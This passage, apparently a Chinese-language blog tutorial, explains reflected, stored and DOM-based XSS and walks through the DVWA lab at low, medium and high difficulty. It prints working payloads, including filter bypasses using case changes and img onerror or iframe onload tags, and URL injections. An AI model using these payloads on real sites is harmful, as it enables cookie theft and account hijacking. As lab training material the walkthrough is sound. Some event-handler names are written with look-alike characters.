- 非持久性,也叫反射性XSS。通过GET和POST方法,向服务器输入数据。用户输入的数据通常被放置在URL中,或者是form数据中。如果服务器对输入的数据不进行过滤,验证或者编码,直接将用户输入的信息呈现给客户,则可能造成反射性XSS
- 持久性,也叫存储型XSS。通常是因为服务端将用户输入的恶意脚本没有通过验证就直接存储在数据库,并且每次通过调用数据库的方式将数据呈现在浏览器上。则该XSS跨站脚本攻击将一直存在。若其他用户访问该网页,则恶意脚本就会被触发,用于盗取其他用户的私人信息
- DOM型XSS,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容,结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞
3. XSS攻击方式
- 向可输入框,插入恶意的HTML代码
- 向可数据库,插入恶意的Javascript代码
4. XSS危害
- 强制广告弹窗
- 网络钓鱼,盗取各类用户的账号
- 窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作
- 窃取管理员的Cookie,进行恶意操作
- 传播跨站脚本蠕虫,网站挂马
1. 实践,难度low(低)
插入 <script>alert(document.cookie)</script>,输出cookie
2. 实践,难度Medium(中等)
Medium级别和low级别相比,Medium中多了一个 str_replace( '<script>', '', $_GET[ 'name' ] ); 将 $_GET[ 'name' ] 传入的参数中的 <script> 替换为 "",也就是说对script标签做了过滤,用来防止xss。
但是,他匹配的只是小写的script,并没有匹配大写的Script。
执行以下脚本:
<Script>alert(document.cookie)</Script>
3. 实践,难度High(高)
难度High中对提交的数据做了正则匹配,preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )
这里只是对script标签做了匹配,但是并没有对其他标签做匹配
执行以下脚本:src图片路径找不到,然后执行onerror
<img src=1 οnerrοr=alert(document.cookie)>
七. 存储型XSS
存储型XSS也称为持久型XSS,会将攻击者的数据存储在服务器,攻击行为提交的攻击数据一直存在
1. 实践,难度-low(低)
<img src=1 οnerrοr=alert(document.cookie)>,提交后存储在数据库中
在提交随意的数据时,就会继续弹出
2. 实践,难度-Medium(中等)
使用burp,修改提交的数据,修改为<img src=1 οnerrοr=alert(document.cookie)>
3. 实践,难度-High(高)
使用了正则表达式过了 script标签,但仅仅只是过滤了script标签,忽略了img,iframe,等其他标签,因此还是存在存储型xss
使用Burp抓包将name的参数改为 <img src=1 οnerrοr=alert(1)>
八. DOM型XSS
- DOM型的XSS由于其特殊性,常常被分为XSS的第三种类型,这是一种基于DOM树的XSS。例如服务端经常使用document.body.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型的XSS可能是存储型,也有可能是反射型
- DOM XSS和前面的两种XSS的区别主要在于:DOM XSS的产生并没有和后台服务器产生交互,而是通过浏览器的DOM树解析产生的
1. 实践,难度-low(低)
点击select,url种会设置对应的参数
这时候将url参数改为测试是否存在xss漏洞:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>
代码分析:
代码中大概的意思是,通过select选择,设置url参数,这里对于设置什么参数并没有过校验,所以可以植入<script>alert(1)</script> 等其他xss脚本
2. 实践,难度-Medium(中等)
注入闭合脚本:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=></option></select><iframe οnlοad=alert(1)>
3. 实践,难度-High(高)
注入#</option></select><iframe οnlοad=alert(1)></option>:
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English#</option></select><iframe οnlοad=alert(1)></option>